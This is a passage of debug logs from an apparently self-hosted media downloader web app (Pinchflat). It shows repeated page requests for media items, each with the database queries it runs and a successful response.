?) [1] 23:26:18.268 [debug] QUERY OK source="tasks" db=0.3ms idle=545.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [74] 23:26:18.269 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=545.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [79] 23:26:18.269 [debug] QUERY OK source="settings" db=0.3ms idle=349.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:18.270 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:18.270 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:18.271 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:18.272 [info] Sent 200 in 4ms 23:26:18.776 [info] GET /sources/2/media/68 23:26:18.776 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "68", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 23:26:18.777 [debug] QUERY OK source="media_items" db=0.1ms queue=0.3ms idle=508.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [68] 23:26:18.778 [debug] QUERY OK source="tasks" db=0.3ms idle=508.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [68] 23:26:18.778 [debug] QUERY OK source="sources" db=0.4ms idle=508.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:18.778 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=508.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [73] 23:26:18.779 [debug] QUERY OK source="settings" db=0.0ms idle=507.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:18.779 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:18.779 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:18.779 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:18.780 [info] Sent 200 in 3ms 23:26:19.308 [info] GET /sources/2/media/64 23:26:19.308 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "64", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 23:26:19.309 [debug] QUERY OK source="media_items" db=0.2ms idle=530.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [64] 23:26:19.310 [debug] QUERY OK source="tasks" db=0.2ms idle=530.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [64] 23:26:19.310 [debug] QUERY OK source="sources" db=0.5ms idle=530.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:19.310 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=530.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [69] 23:26:19.311 [debug] QUERY OK source="settings" db=0.1ms idle=390.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:19.311 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:19.311 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:19.312 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:19.313 [info] Sent 200 in 5ms 23:26:19.840 [info] GET /sources/2/media/70 23:26:19.840 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "70", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 23:26:19.841 [debug] QUERY OK source="media_items" db=0.1ms idle=529.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [70] 23:26:19.841 [debug] QUERY OK source="tasks" db=0.1ms idle=530.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [70] 23:26:19.841 [debug] QUERY OK source="sources" db=0.1ms idle=529.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:19.841 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=529.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [75] 23:26:19.842 [debug] QUERY OK source="settings" db=0.1ms idle=529.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:19.842 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:19.842 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:19.843 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:19.844 [info] Sent 200 in 4ms 23:26:20.365 [info] GET /sources/1/media/69 23:26:20.365 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "69", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:20.366 [debug] QUERY OK source="media_items" db=0.1ms idle=523.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [69] 23:26:20.366 [debug] QUERY OK source="tasks" db=0.0ms idle=524.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [69] 23:26:20.366 [debug] QUERY OK source="sources" db=0.1ms idle=523.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:20.367 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=523.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [74] 23:26:20.367 [debug] QUERY OK source="settings" db=0.0ms idle=445.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:20.367 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:20.367 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:20.368 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:20.369 [info] Sent 200 in 3ms 23:26:20.868 [info] GET /sources/1/media/36 23:26:20.868 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "36", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:20.869 [debug] QUERY OK source="media_items" db=0.2ms idle=502.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [36] 23:26:20.869 [debug] QUERY OK source="tasks" db=0.2ms idle=502.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [36] 23:26:20.870 [debug] QUERY OK source="sources" db=0.3ms idle=502.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:20.870 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=502.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [39] 23:26:20.870 [debug] QUERY OK source="settings" db=0.0ms idle=502.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:20.870 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:20.871 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:20.871 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:20.872 [info] Sent 200 in 4ms 23:26:21.416 [info] GET /sources/2/media/86 23:26:21.416 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "86", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 23:26:21.416 [debug] QUERY OK source="media_items" db=0.1ms idle=545.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [86] 23:26:21.417 [debug] QUERY OK source="tasks" db=0.1ms idle=546.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [86] 23:26:21.417 [debug] QUERY OK source="sources" db=0.1ms idle=545.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:21.417 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=545.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [84] 23:26:21.417 [debug] QUERY OK source="settings" db=0.0ms idle=494.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:21.417 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:21.417 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:21.418 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:21.419 [info] Sent 200 in 3ms 23:26:21.897 [info] GET /sources/1/media/99 23:26:21.897 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "99", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:21.897 [debug] QUERY OK source="media_items" db=0.1ms idle=480.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99] 23:26:21.897 [debug] QUERY OK source="tasks" db=0.0ms idle=480.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [99] 23:26:21.898 [debug] QUERY OK source="sources" db=0.1ms idle=480.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:21.898 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=480.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", 